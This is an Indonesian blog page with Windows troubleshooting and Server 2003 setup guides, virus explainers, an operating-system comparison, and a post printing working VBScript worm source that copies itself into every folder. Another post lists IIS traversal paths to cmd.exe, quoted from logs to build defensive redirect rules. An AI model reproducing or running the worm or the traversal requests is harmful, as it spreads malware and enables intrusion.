THOUSANDS OF FREE BLOGGER TEMPLATES »

Rabu, 07 Januari 2009

TroubleShooting Windows Server 2003

PRAKTEK XP-Trouble-Shooting - Windows Bebas Masalah


Tim reparasi telah datang. CHIP mencoba menutup kelemahan pemrograman yang berbahaya dan menyingkirkan kesalahan yang mengganggu dalam sistem operasi Anda.



Lebih mudah, lebih cepat, dan lebih hemat biaya. Patokan dasar untuk mencari solusi ini juga berlaku bagi Microsoft. Bagian kontrol kualitas melakukan penghematan. Pemrogram lihai dari berbagai negeri antah-berantah masuk menyingkirkan para konsultan yang mahal. Kode-kode mereka kemudian digabungkan dengan program utama di Redmond secara cepat melalui Copy & Paste. Namun, kurangnya kecermatan dapat menyebabkan system-crash, gagal berfungsi, dan menayangkan bluescreen di PC pengguna.

Di sini para pakar rekrutan CHIP berperan. Tanpa kenal lelah mereka menyisir Whitepaper pengembang Windows dan menyelami Microsoft Knowledge Base serta sumber-sumber lainnya untuk melacak bug-bug yang berbahaya. Ikut lah dengan kami ke sudut terdalam sistem operasi Anda dan bebaskan Windows XP dari kesalahan program yang mengganggu dan berbahaya.


1. Update menyebabkan crash
Windows-patch yang cacat atau rusak menyebabkan bluescreen. Biasanya keterangannya dimulai dengan kata-kata 'STOP: 0x800….' yang membingungkan. Di sini tool gratis 'Qfecheck' dari Microsoft dapat membantu. Ia dapat mengidentifikasi penyebabnya dan menunjukkan sebuah artikel dalam Microsoft Knowledge Base yang menjelaskan bug tersebut secara rinci.



Untuk memperoleh tool Qfecheck, masuk ke website Microsoft dan ketikkan kode berikut ke dalam kolom Search di kanan atas. (282784)

Anda akan mendapatkan link untuk men-download 'Qfecheck.exe'. Perhatikan, tersedia versi yang berbeda untuk Windows XP dan 2000. Jangan salah men-download. Setelah download selesai, klik 'Start | Run' dan masuk ke command prompt dengan perintah berikut. (cmd)

Selanjutnya, ketikkan perintah berikut untuk memeriksa hotfix dan update yang terdapat pada sistem Windows Anda. (qfecheck•/v)

Ketika tool menemukan update yang rusak atau berisi bug, Anda akan diberi petunjuk 'This hotfix should be reinstalled'. Di depannya ada sebuah kode, misalnya 'KB8884883'. Bila Anda memasukkan kode ini ke dalam kolom Search di website Microsoft, Anda akan sampai ke sebuah artikel dalam Knowledge Base mengenai fungsi yang bersangkutan, penyebab kesalahan, dan solusi masalahnya.

2. Kesalahan 'Generic Host Process'
Bila tool Qfecheck tidak menemukan update yang berisi bug, tidak berarti semuanya baik-baik saja. Bahkan, setelah melakukan instalasi security-update 'KB873333' dengan benar sesuai petunjuk Microsoft dalam Security Bulletin MS-05-012, Windows malah crash dengan laporan 'Generic Host Process telah menyebabkan sebuah kesalahan'. Solusinya adalah sebuah patch yang memperbaiki bagian yang bersangkutan.

Untuk menemukan Windows-Update yang tepat, masukkan kode berikut ke dalam kolom Search di website Microsoft. (kb894391)

Download 'Update for Windows XP' yang ditampilkan. Setelah instalasi, biasanya laporan kesalahan tidak lagi muncul. Selain itu, patch yang diberikan ini juga menambahkan perlindungan dari serangan hacker.

3. Nero 6 membakar terlalu lambat
Akibat adanya bug dalam SP2 untuk Windows XP, tool 'InCD' dalam paket Nero 6 membakar DVD dual-layer jauh lebih lambat dibandingkan program lainnya. Kesalahan ini timbul pada semua versi hingga versi 4.3.7.3. Sebuah patch dari Nero menawarkan solusinya.



Download 'Paket Update 3' dari www.nero.com/nero6/eng/nero-up.php dan instalasikan. Sebagai alternatif, Anda juga dapat meng-upgrade Nero ke versi 7 yang berisi tool 'InCD' versi 5. Tentu saja, untuk layanan upgrade ini ditarik biaya. Microsoft sendiri belum menyingkirkan kesalahan yang terdapat dalam cache-management SP2, karena hanya berefek pada program non-Microsoft seperti Nero.

4. Popup-Blocker memblokir update
Sulit dipercaya, tetapi memang terjadi. Popup-blocker yang terinstalasi dalam SP2 tidak hanya melindungi komputer Anda dari perusahaan marketing yang jahat, tetapi juga dari Windows-Update. Bug ini muncul dengan laporan kesalahan 'HTTP-Bug 500 - Internal Server Bug, 0x8dd0010'. Ia muncul begitu Anda mengklik sebuah hyperlink di website Windows-Update.



Untuk menyingkirkan bug tersebut, jalankan Internet Explorer dan pilih 'Tools | Internet Options | Privacy | Popup-Blocker Settings'. Ketikkan URL 'http://v5.windowsupdate.microsoft.com' ke dalam kolom teks, lalu klik 'Add'. Tutup jendela setting.

5. TV-playback bergoyang
Akibat bug lainnya dalam SP2 untuk Windows XP, gambar bergoyang dan terjadi frame-drop pada playback acara TV melalui filter Direct-Show. Kesalahan ini tidak hanya terjadi pada playback Livestream, tetapi juga file video yang sudah tersimpan di hard disk. Solusinya ditawarkan oleh patch dari Microsoft.



Masukkan kode berikut ke dalam kolom Search di website Microsoft. (kb896626)

Sebelum dapat men-download patch tersebut, Microsoft akan memeriksa apakah Anda memiliki versi Windows yang sah atau tidak. Jika tidak ada masalah, Anda dapat menginstalasinya dan menonton tanpa gangguan lagi.

6. Windows hang saat shutdown
Saat shutdown, SP2 untuk Windows XP memeriksa apakah semua Windows-update penting telah terinstalasi atau belum. Bila di sini terjadi kesalahan, akan timbul masalah shutdown dan muncul bluescreen dengan laporan 'STOP: 0x80248011'. Bila demikian, Anda harus memperbarui database yang berisi semua info relevan mengenai update yang telah terinstalasi.

Untuk mengatasi masalah di atas, klik 'Start | Run' dan ketikkan kode berikut. (services•msc)

Dalam jendela 'Services', klik kanan 'Automatic Updates' dan pilih 'Stop'. Sekarang, jalankan Windows Explorer dan masuk ke folder Windows. Ubah nama folder 'SoftwareDistribution' menjadi 'SoftwareDistribution.alt'. Setelah itu, jalankan kembali layanan 'Auto-Update'. Ia akan membuat sebuah folder baru bernama 'SoftwareDistribution'. Folder lama yang telah Anda ubah namanya boleh dihapus.

7. Proteksi copy menyebabkan crash
Bila Anda mendapat tampilan bluescreen dengan laporan kesalahan 'STOP: 0x0000009F Driver_Power_State_Failure', Anda adalah korban sebuah proteksi copy yang salah program. 'InterLok' dari perusahaan Pace yang antara lain ditemukan dalam produk Adobe, Pinnacle, Steinberg, dan Electronic Arts menggunakan interrupt (IRQ) yang sama dengan floppy-drive dan menimbulkan konflik resource.

Masuk ke website www.paceap.com dan pilih entri 'Windows drivers' dalam daftar 'Download drivers'. Download file 'tpkd.zip' dan ekstrak arsip ZIP ini. Klik ganda file Setup.exe untuk menginstalasi driver. Bila masalah masih muncul, melalui 'Start | All Programs | Accessories | System Tools | System Informations', periksa apakah interrupt untuk floppy kembali digunakan atau tidak.

Pilih 'Hardware Resources | IRQs'. 'IRQ6' hanya boleh berisi entri 'Standard Floppy-Drive Controller'. Bila ini tidak membantu, terpaksa Anda tidak menggunakan software dengan proteksi copy ini.

8. WINDOWS SERVER 2003
»Profile Tidak Dikosongkan

Sebuah bug yang buruk akan terlihat ketika Windows Server 2003 di-shutdown. Windows tidak mengosongkan semua registered-user-profiles atau tidak menggabungkannya dengan benar. Dengan demikian, proses logout akan berlangsung sangat lama karena layanan Windows menanti logout user-profile yang benar. Untuk mengetahui apakah Anda terkena bug ini atau tidak, klik 'Start | Run' dan ketikkan kode berikut. (eventvwr.msc)



Bila dalam kolom Event di bawah Application Anda temukan error-code 1500, 1517, atau 1524 serta keterangan sumber 'Userenv', lakukan langkah-langkah berikut.

Download 'User Profile Hive Cleanup Service' yang tersedia di website Microsoft. Ia terinstalasi sebagai layanan baru Windows dan akan membebaskan cabang registry (hive) dari pengguna yang tidak login. Hasilnya, profile akan dikosongkan lebih cepat dan shutdown juga akan berlangsung lebih cepat.

9. Tidak ada lingkungan jaringan
Folder penting seperti 'My Documents' atau 'My Computer' paling cepat diakses melalui menu Start. Sayangnya programmer Windows melupakan 'My Network Places' yang juga penting. Melalui sebuah registry-hack Anda dapat membuka tampilan folder ini.



Klik 'Start | Run' dan ketikkan perintah berikut untuk menjalankan Registry Editor. (regedit)

Masuk ke HKEY_CURRENT_USER\ Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced'. Buat entri 'Start_ShowNetPlaces' melalui 'New | DWORD-Value' dan beri nilai '2'. Setelah me-restart PC, Anda dapat mengakses 'My Network Places' melalui menu Start.

10. Crash setelah klik kanan
Setelah Anda mengklik kanan sebuah file EXE, semua icon di desktop menghilang atau Windows melaporkan bahwa file 'Explorer.exe' menyebabkan pelanggaran proteksi. Kesalahan ini bisa disebabkan oleh sebuah virus seperti 'Win32.Bube'. Bila Anda tidak menemukan keberadaan virus ini, mungkin sebuah perintah dalam menu konteks tidak terintegrasi dengan benar saat aplikasi diinstalasi. Bila demikian, Anda harus melepaskan link ke menu tersebut.

Pertama, periksa dulu semua media data dengan sebuah virus-scanner aktual. Banyak forum yang menyarankan NOD32 (www.nod32.com) karena mengenali 'Win32.Bube' dengan tepat. Bila Anda tidak menemukan virus, periksa apakah Windows crash hanya bila sebuah program tertentu diklik atau bukan. Bila ya, singkirkan aplikasi yang bermasalah ini dan lakukan instalasi ulang.

Bila masalah masih tetap terjadi, singkirkan subkey untuk link ke program yang bermasalah tadi dari registry. Untuk itu, jalankan Registry Editor dan masuk ke kunci 'HKEY_CLASSES_ROOT\exefile\shellex'. Tandai kunci ini dalam pohon direktori dan simpan melalui perintah 'File | Export'. Selanjutnya, buka 'shellex' dan hapus seluruh subkey 'ContextMenuHandlers'. Restart PC. Masalah crash biasanya akan teratasi karena semua link dengan menu konteks yang cacat telah disingkirkan.


Source : CHIP 03/2006
Author : AS.Pratisto@CHIP.co.idThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it

Read More..

Virus Komputer



Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer (terutama pada sistem operasi , seperti sistem operasi berbasis keluarga Windows (Windows 95, Windows 98/98SE, Windows NT, Windows NT Server, Windows 2000, Windows 2000 Server, Windows 2003, Windows 2003 Server, Windows XP Home Edition, Windows XP Professional, Windows XP Servicepack 1, Windows XP Servicepack 2) bahkan GNU/Linux. Efek negatif virus komputer terutama adalah perbanyakan dirinya sendiri, yang membuat sumber daya pada komputer (seperti CPU Time, penggunaan memori) menjadi berkurang secara signifikan.



Hampir 95% Virus adalah virus komputer berbasis sistim operasi Windows. Sisanya, 2% menyerang Linux/GNU (dan Unix, sebagai source dari Linux, tentunya), 1% menyerang Mac terutama Mac OS 9, Mac OS X (Tiger, Leopard). 2% lagi menyerang sistim operasi lain seperti FreeBSD, OS/2 IBM, dan Sun Operating System.

Serangan virus dapat dicegah atau ditanggulangi dengan menggunakan perangkat lunak antivirus. Jenis perangkat lunak ini dapat juga mendeteksi dan menghapus virus komputer, asalkan basis data virus komputer yang dimiliki oleh perangkat lunak antivirus telah mengandung kode untuk menghapus virus tersebut.


Tips: Mengurangi Traffic Web Server Akibat Virus/Worm

Seringkali disebutkan dalam banyak artikel bahwa keamanan web server Microsoft IIS dijadikan bulan-bulanan virus/worm, seperti CodeRed dan Nimda, yang sering mengakibatkan kerusakan yang cukup serius atau fatal. Ada banyak artikel yang menjelaskan bagaimana menutup lubang keamanan dan cara-cara mencegah kerusakan di kemudian hari.

Beberapa web server lain dijadikan alternatif antara lain Apache, yang notabene merupakan web server yang paling banyak digunakan, menurut data Netcraft. Memang dengan menggunakan web server Apache, kerusakan yang diakibatkan oleh virus/worm tersebut bisa ditekan atau bisa dikatakan tidak berdampak langsung. Namun perlu diperhatikan bahwa memang virus/worm tersebut tidak menyerang lubang keamanan, tapi dapat juga mengakibatkan kerusakan atau paling tidak membebani kerja web server.

Hal ini antara lain dengan mebludaknya ukuran log file oleh sampah akibat serangan2 virus/worm. Ada kasus dimana terdapat sekitar 20000 entri dalam log selama 2 hari yang hanya diakibatkan karena aktivitas virus/worm dalam jaringan/Internet.

Web server menjadi sangat sibuk dan berat. Ini terlebih-lebih jika situs yang bersangkutan menggunakan halaman error 404 khusus (not found). Ini berarti setiap ada akses yang diakibatkan oleh virus/worm ke situs tersebut, halaman error 404 akan ditampilkan. Bayangkan jika halaman tersebut berukuran besar. Ini akan menambah traffic web server secara percuma.

Setelah melakukan riset pada log file Apache dan melihat banyaknya akses ke halaman error 404 tersebut (yang ikut menambah traffic web server) yang diakibatkan oleh virus/worm, ada cara untuk mengurangi traffic akibat serangan ini.

Sebagai contoh, di bawah ini diambil dari log file, berisi URL yang sering diakses oleh virus/worm. Nampak jelas bahwa sebetulnya ini dibuat dalam rangka menyerang web server IIS.

/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c/winnt/system32/cmd.exe
/d/winnt/system32/cmd.exe
/scripts/..%2f../winnt/system32/cmd.exe
/scripts/..%c1%9c../winnt/system32/cmd.exe
/scripts/..%%35%63../winnt/system32/cmd.exe
/scripts/ .%%35c../winnt/system32/cmd.exe
/scripts/..%c0%2f../winnt/system32/cmd.exe
/scripts/..%c0%af../winnt/system32/cmd.exe
/MSADC/root.exe

Pada web server Apache ada satu fitur yaitu file .htaccess, yang berperan untuk mengontrol akses ke suatu situs. File ini sangat berguna jika digunakan secara benar, namun bisa berakibat fatal jika ada kesalahan pengisian, antara lain situs tidak dapat diakses sama sekali.

Buat terlebih dahulu file .htaccess (file teks) atau tambahkan script di bawah ini ke dalam file .htaccess jika situs anda sudah terdapat file .htaccess yang terdapat di direktori utama (root) situs anda.

redirect /scripts http://www.to.the.black.hole
redirect /MSOffice http://www.to.the.black.hole
redirect /_vti_bin http://www.to.the.black.hole
redirect /MSADC http://www.to.the.black.hole
redirect /msadc http://www.to.the.black.hole
redirect /_mem_bin http://www.to.the.black.hole

Script ini akan mencegah web server mengembalikan halaman error 404 dan menambahkan entry ke log file dengan cara membelokkan akses ke URL tertentu yang sebetulnya tidak valid. Dengan demikian traffic web server dapat diminimalkan yang berdampak beban web server menjadi lebih ringan.

APA ITU VIRUS?



Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak ( misalnya : dengan merusak data pada dokumen ), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.

Virus komputer umumnya dapat merusak perangkat lunak ( Software ) komputer dan tidak dapat secara langsung merusak perangkat keras ( Hardware ) komputer terutama pada sistem operasi , seperti sistem operasi berbasis Microsoft Windows ( Windows 95, Windows 98/98SE, Windows NT, Windows NT Server, Windows 2000, Windows 2000 Server, Windows 2003, Windows 2003 Server, Windows XP Home Edition, Windows XP Professional, Windows XP Service Pack 1, Windows XP Service Pack 2 ) bahkan GNU/Linux. Efek negatif virus komputer terutama adalah perbanyakan dirinya sendiri, yang membuat sumber daya pada komputer ( seperti : CPU Time, penggunaan memori ) menjadi berkurang secara signifikan. Hampir 95% Virus adalah virus komputer berbasis sistim operasi Windows. Sisanya, 2% menyerang Linux/GNU (dan Unix, sebagai source dari Linux, tentunya), 1% menyerang Mac terutama Mac OS 9, Mac OS X (Tiger, Leopard), 2% lagi menyerang sistim operasi Unix, seperti : FreeBSD dan Sun Solaris.

Serangan virus dapat dicegah atau ditanggulangi dengan menggunakan perangkat lunak Anti Virus. Jenis perangkat lunak ini dapat juga mendeteksi dan menghapus virus komputer, asalkan basis data ( Database ) virus komputer yang dimiliki oleh perangkat lunak antivirus telah mengandung kode program untuk menghapus virus tersebut.

Untuk mengetahui sejarah adanya virus komputer, kamu dapat membaca di Sejarah Perkembangan Malware Dunia ( Jadi ngga cuma di sekolah aja belajar sejarah ya! ;) ). Selain itu, untuk lebih memahami virus-virus lokal seperti : Brontok dan variannya, kamu bisa membacanya di sini. Beberapa triks untuk mengatasi serangan virus, dapat dilihat juga di tutorial cara mengatasi virus.

Supaya tahu lebih jauh tentang virus komputer, virus komputer dapat dibuat dengan bahasa pemrograman komputer, seperti : Visual Basic, Visual C++, VBS, JS, DOS Command, dan bahasa pemrograman lainnya. Sebagai contoh source code virus sederhana dengan menggunakan VBS, dapat dilihat pada Virus Readme dengan source code berikut :

‘VOVAN//SMF Readme.a

Set A=CreateObject(”Scripting.FileSystemObject”)
Set B=CreateObject(”WScript.Shell”)
B.RegWrite “HKEY_CLASSES_ROOT\VBSFile\DefaultIcon”,”shell32.dll,-152″
Set C=A.Drives
For Each Drive In C
If Drive.DriveType=2 Or Drive.DriveType=3 Then Onward Drive.Path &”\”
Next
Function Onward(D)
Set E=A.GetFolder(D)
Set F=E.SubFolders
For Each G In F
A.CopyFile Wscript.ScriptFullName, G&”\Readme.vbs”
Onward(G)
Next
End Function

Dengan demikian, dapat diketahui bahwa virus komputer merupakan kode program yang disalahgunakan oleh programmer pembuat-nya, baik untuk kepentingan pribadi maupun untuk kepentingan lainnya, sehingga menimbulkan keresahan bagi pengguna komputer lain. Nah kalau begitu, kesimpulannya kembali ke tanggung jawab moral masing-masing dech! ;)

Read More..

Setup Windows Server 2003 - Bagian 2

Pada Setup Windows Server 2003 - Bagian 1, kita telah melakukan instalasi Windows Server 2003 dengan konfigurasi standar. Beberapa konfigurasi lainnya masih harus dicustomize agar sesuai dengan kebutuhan sistem yang diharapkan.
Pada bagian ke-2 ini, kita akan melakukan instalasi beberapa komponen tambahan yang diperlukan dan melakukan beberapa konfigurasi minimum untuk Windows Server 2003.
Instalasi Windows Server 2003 Service Pack 2
1. Masukkan CD Windows Server 2003 Service Pack 2
2. Jika Autorun tidak aktif, jalankan melalui menu Start.
Caranya:
1. Klik ‘Start’->’Run
2. Klik ‘Browse’. Pilih lokasi CD-ROM, dan pilih file ‘SRSP2.CMD’
3. Setup akan mengekstrak file-file instalasi dan menampilkan kotak dialog seperti berikut.



4. Klik ‘Next’ dan lanjutkan sampai selesai.
5. Restart



Instalasi Driver
Anda harus melakukan instalasi driver-driver hardware di komputer dengan CD/DVD instalasi hardware bersangkutan. Jika driver untuk Windows Server 2003 tidak ditemukan, coba dengan driver untuk Windows XP atau download dari website vendor bersangkutan.
Instalasi Internet Information Service (IIS)
1. Jalankan ‘Add or Remove Programs’ dari Control Panel
2. Klik button ‘Add/Remove Windows Components’
3. Double click ‘Application Server’



4. Double click ‘Internet Information Service (IIS)’



5. Pilih ‘File Transfer Protocol (FTP) Service’


6. Klik OK.

Membuat Partisi
Partisi untuk dokumen, database, dan file-file temporer sebaiknya dipisah. Untuk membuat partisi di Windows Server 2003, ikuti langkah berikut:
1. Jalankan ‘Control Panel’->’Administrative Tools’->’Computer Management’
2. Pilih ‘Disk Management’


3. Klik ‘Disk 0′ pada daftar disk dan klik kanan.
4. Pilih ‘New Partition’
5. Pilih ‘Extended Partition’, isi ukuran partisi yang dibutuhkan dan klik ‘Next’
6. Pilih filesystem ‘NTFS’.
7. Ulangi langkah 1-6 untuk partisi yang lain.

Membuat User Account
Anda harus membuat user account khusus untuk pemakaian biasa dan jangan gunakan account Administrator. Gunakan account Administrator jika diperlukan, misalnya instalasi software atau hardware.
1. Jalankan ‘Control Panel’->’Administrative Tools’->’Computer Management’
2. Pilih ‘Local Users and Groups’



3. Pilih ‘Users’
4. Klik kanan di daftar user dan pilih ‘New User’
5. Isi dengan nama user yang Anda inginkan.



6. Klik ‘Create’
Selamat, Windows Server 2003 telah siap digunakan sebagai Server. Untuk menggunakan Voucha II, Anda perlu melakukan instalasi Microsoft SQL Server 2000 dan Microsoft SQL Server 2000 - Service Pack 4.
Technorati Tags: windows-server-2003


Read More..

INSTALASI WINDOWS 2003 SERVER

Setup Windows Server 2003 - Bagian 1

Artikel ini adalah tutorial singkat mengenai instalasi Windows Server 2003 ke komputer PC untuk digunakan dalam sistem Voucha II. Jika Anda menggunakan server built-up seperti IBM xSeries atau Dell PowerEdge, anda harus baca manual instalasi yang disertakan bersama server tersebut. Instalasi ini dapat diterapkan pada :
1. Windows Server 2003 x86
2. Windows Server 2003 x86 Service Pack 1
3. Windows Server 2003 x86 R2
4. Windows Server 2003 x86 Service Pack 2
Instalasi Windows Server 2003 hampir mirip dengan instalasi Windows XP dan sama mudahnya. Hal-hal yang perlu Anda siapkan:
1. CD/DVD instalasi Windows Server 2003 (Enterprise Edition)
2. CD/DVD driver untuk motherboard, video card, sound card, ethernet card, dll.
3. PC dengan RAM minimum 256 (disarankan 512MB atau lebih), hardisk 20GB (disarankan 40GB atau lebih), video card true-color dengan resolusi 1024×768.
Baiklah mari kita mulai:
Boot komputer dengan CD Windows Server 2003
Atur konfigurasi BIOS agar melakukan boot ke CD/DVD ROM. Masukkan CD/DVD Windows Server 2003. Anda akan mendapatkan layar selamat datang di setup Windows Server 2003.

Tekan tombol ‘ENTER’ di keyboard. Anda akan menuju ke layar EULA



Tekan ‘F8′ di keyboard untuk persetujuan lisensi Windows Server 2003.

Membuat Partisi

Jika hardisk Anda masih kosong, anda harus membuat partisi untuk sistem Windows Server 2003. Tekan ‘C’ untuk membuat partisi dan masukkan ukuran partisi yang dibutuhkan, misal 10000MB (1GB).


Jika sudah selesai, tekan ‘ENTER’.
Format partisi tersebut dengan filesystem NTFS dengan metode quickformat.


Tekan ‘ENTER’. Windows Server 2003 Setup memformat partisi hardisk Anda.


Setelah format selesai, Windows Server 2003 Setup meng-copy file-file ke partisi Windows.



Setelah selesai, Windows Server 2003 Setup akan me-restart komputer dan boot ulang


Windows Server Setup GUI



Tunggu beberapa saat sampai muncul Wizard berikut:



Pilih ‘Customize’, dan lakukan setting seperti screen di bawah ini.



Klik ‘OK’, kembali ke layar sebelumnya dan klik ‘Next’.



Isi dengan Nama Anda dan Nama Perusahaan Anda. Kemudian klik ‘Next’.



Isi dengan CD key Windows Server 2003 yang disertakan bersama CD Windows Server 2003. Klik ‘Next’



Pilih Licensing Mode ‘Per Server’ dan isi dengan jumlah koneksi yang dibutuhkan. Klik ‘Next’.



Isi ‘Computer Name’ dan password untuk Administrator. Klik ‘Next’.



Pilih ‘Time Zone’ dengan (GMT +07:00 ) Bangkok, Hanoi, Jakarta. Klik ‘Next’. Setup akan melakukan instalasi Network.





PIlih ‘Custom settings’ dan klik ‘Next’.



Pilih komponen ‘Internet Protocol (TCP/IP)’ dan klik ‘Properties’.



Isi ‘IP address’, ‘Subnet mask:’, ‘Default gateway:’ sesuai konfigurasi network Anda. Klik ‘OK’. Kemudian klik ‘Next’.



Isi nama Workgroup yang diinginkan, misalnya : ‘VOUCHA’. dan klik ‘Next’.



Setup mencopy file-file komponen ke partisi Windows. Setelah itu Setup akan melakukan restart dan boot ulang komputer Anda.



Selamat, Anda berhasil melakukan instalasi Windows Server 2003!
Technorati Tags: windows-server-2003

Read More..

Selasa, 06 Januari 2009

Kelebihan Sistem Operasi Windows di Bandingkan dengan yang lain

WINDOWS XP, VISTA, Mac OS dan LINUX

Perang terbuka sudah terjadi tanpa kita sadari. Dari kubu Windows, XP dan Vista, Linux dari Ubuntu dan MacOS dari Macintosh bertempur melawan pasukan hacker dan penyusup. Keempat pasukan Sistem Operasi tersebut bertugas harus melindungi beberapa istana di 4 zona peperangan. Namun pertempuran sengit ini tak jarang membawa warga dunia menjadi korban akibat ketidak tahuan, seperti misalnya ketika Windows Vista secara diam-diam melakukan penyedotan data dari pintu belakang, atau ketika MacOs secara sembunyi-sembunyi beraliansi dengan sebuah trojan berbahaya. Untuk itulah mari kita ikut bergerilya dalam perang dunia ini untuk mengetahui pasukan mana yang kita gunakan untuk melindungi kita.

Sebelum kita ikut bergerilya marilah kita ke kantor kepolisian untuk memeriksa catatan kriminal dari 4 Sistem Operasi yang kita percayakan menghadapi para hacker. Ternyata tidak satupun dari Sistem operasi tersebut yang benar-benar memiliki catatan bersih, masing-masing memiliki catatan kriminal, yaitu MacOS pernah tertangkap akibat mengadakan kerjasama dengan virus trojan, Windows XP memiliki catatan sebagai pelaku pengungkap data, Windows Vista sebagai pemasok POPUP dan Linux yang sangat fanatik input prompt. Okelah itu hanya sekedar catatan hitam masa lalu, mari kita terjun ke 4 zona tempat terjadinya pertempuran sengit ini.
Gambar :



Di zona keamanan berinternet, ternyata windows XP dan Vista menjadi sasaran utama serangan para hacker dunia, namun walaupun demikian XP dan Vista ternyata mampu membendung serangan tersebut dengan baik lewat firewall yang otomatis berjalan ketika mulai dijalankan. Namun ternyata para hacker tidak kalah ide, mereka menyerang lewat celah Internet Explorer 7 yang memang telah terbukti memiliki banyak kelemahan, walaupun Windows senantiasa menutupi celah-celah keamanan tersebut lewat update yang tiap 18 hari namun keadaan ini cukup membahayakan. Untuk mengatasinya, warga dunia disarankan untuk senantiasa mengupdate internet explorer atau memakai browser yang terbukti lebih aman yakni: Safari dan Firefox. Akibat serangan ini, di zona keamanan berinternet, windows XP harus merelakan 2 istana yang dijaganya terebut oleh para hacker, sedangkan windows Vista dengan penjagaan pintu gerbang yang ketat hanya kehilangan 1 istana di zona ini. Linux dan MacOS di zona ini boleh agak berlega hati karena tidak begitu dilirik untuk diserang oleh para hacker sehingga kelima istana yang mereka jaga tetap aman. Di zona ini Linux dan MacOS unggul.

Peperangan di zona keamanan PC, mengungkap banyak fakta akan kelemahan beberapa pasukan Sistem Operasi. Pasukan Windows XP, Vista dan Linux Ubuntu ternyata lemah terhadap penjagaan pintu login berpassword. Hanya dengan sebuah CD darurat, password pintu login WIndows XP, Vista dan Linux dapat dibobol. Begitu juga pasukan MacOS ternyata lemah pada masalah ini, hanya cukup dengan menekan kombinasi tombol [Apple] + [S] pada saat boot , data pada PC dapat diakses oleh setiap orang. Hal ini menyebabkan masing-masing pasukan kehilangan 1 istana. Istana yang lain, di wilayah enkripsi data keempat pasukan Sistem Operasi ternyata memiliki sistem enkripsi folder yang mudah dioperasikan. MacOS menggunakan FileVault, Linux dengan TrusCrypt dan Windows XP/Vista dengan sistem Encrypted File System (EFS). Namun dari semua itu ternyata Windows Vista lebih unggul karena dapat melindungi lebih baik, dimana seluruh harddisk dapat dienkripsi hanya dengan beberapa kali klik. Vista berhasil mempertahankan istananya sedangkan yang lain harus kehilangan istana setelah pertempuran yang sangat hebat dalam waktu yang lama. Selanjutnya, di istana terjadinya backup data pertempuran juga tidak kalah sengit. MacOS unggul dalam wilayah ini dengan sistem Time Machine nya. Windows XP melakukan backup dengan 2 tahap lewat System Restore, namun Windows Vista yang juga memiliki system restore dengan tambahan Salinan Data Bayangan seharusnya mampu lebih baik namun karena salah satu anggota pasukannya yakni Windows Vista versi Home tidak dilengkapi dengan layanan ini, mengakibatkan windows Vista harus rela kehilangan istana backup. Pasukan Linux justru lebih parah lagi, dengan sistem backup gratisan yang terlalu banyak dan tidak jelas mengakibatkan Pasukan ini lemah dan juga harus kehilangan istananya. Di zona keamanan PC ini MacOS dan XP unggul.

Di Zona Pengoperasian, terdapat 3 istana yang harus dijaga yakni Pencarian File, Instalasi Software dan File-Manager. Pada pencarian File, windows XP ternyata tidak tampil mengesankan. MacOS dengan sistem pencarian Spotlight terbukti mampu melakukan pencarian file secara kilat yang juga ditiru oleh Linux dan Windows Vista. Sedangkan untuk kemampuan seperti itu, windows XP harus memiliki tools tambahan. Dalam instalasi software, kecanggihan windows xp dan vista dalam menginstal sebuah software yang didownload ataupun dibeli serta murahnya biaya yang dikeluarkan untuk menginstal program gratis lewat Packet Manager yang dimiliki Linux, ternyata tak mampu menandingi kehebatan instalasi tradisional di MacOS. Lho kok instalasi tradisional lebih hebat dari yang canggih? Yup.. instalasi tradisional MacOS dimana kita harus mengekstrak paket-paket software dana bentuk Zip lalu meletakkannya di dalam menu ternyata memiliki kelebihan pada saat kita membuang software. Di MacOS, kita tidak memerlukan uninstaller dan jika kita membuang program hanya cukup dengan menghapus foldernya saja tanpa kuatir akan ada sisa pada sistem registry. Di istana pengelolaan File Manager, windows XP tampil buruk karena tidak mampu menampilkan preview isi file seperti halnya yang terdapat pada Windows Vista, Linux dan MacOs. Di zona pengoperasian ini windows XP harus menjadi pecundang.

Di zona terakhir yakni Zona Driver (bukan sopir lho.. melainkan software pengenal hardware), pasukan dari kubu windows menunjukkan kemampuannya dalam membaca lebih hardware. Windows XP mampu membaca 10.000 hardware sedangkan windows Vista dua kali lebih banyak. Walaupun Linux dikembangkan oleh banyak orang, namun ternyata lemah dalam masalah Driver ini karena driver yang tersedia tidak menyeluruh. Sedangkan MacOS justru memiliki sedikit driver karena lebih menyerahkan masalah driver ini kepada pengembang komersil dengan filosofi bahwa Is Okay mengeluarkan uang lebih banyak asalkan dapat berfungsi tanpa masalah.

Dari peperangan di atas dapat kita sumpulkan bahwa MacOS merupakan pasukan terbaik pertama dengan desain yang elegan dan sistem yang aman namun memiliki kelemahan pada pilihan hardware dan softwarenya. Di tempat kedua diduduki oleh Windows Vista dengan keamanan yang lebih baik walaupun kita harus membeli ulang banyak software jika ingin optimal. Linux menduduki posisi ketiga karena tingkat keamanannya yang tinggi namun berhubung banyaknya pengembang sistem operasi ini mengakibatkan penggunaannya masih terlalu rumit. Windows XP harus rela menduduki posisi terakhir, karena walaupun dengan service pack 2, windows XP masih belum sepenuhnya aman.

Jadi pasukan Sistem Operasi mana yang dipilih ? semua kembali pada kebutuhan dan tentunya dana yang kita miliki.

Read More..

Media Penyimpanan Pada PC

Compact Disk

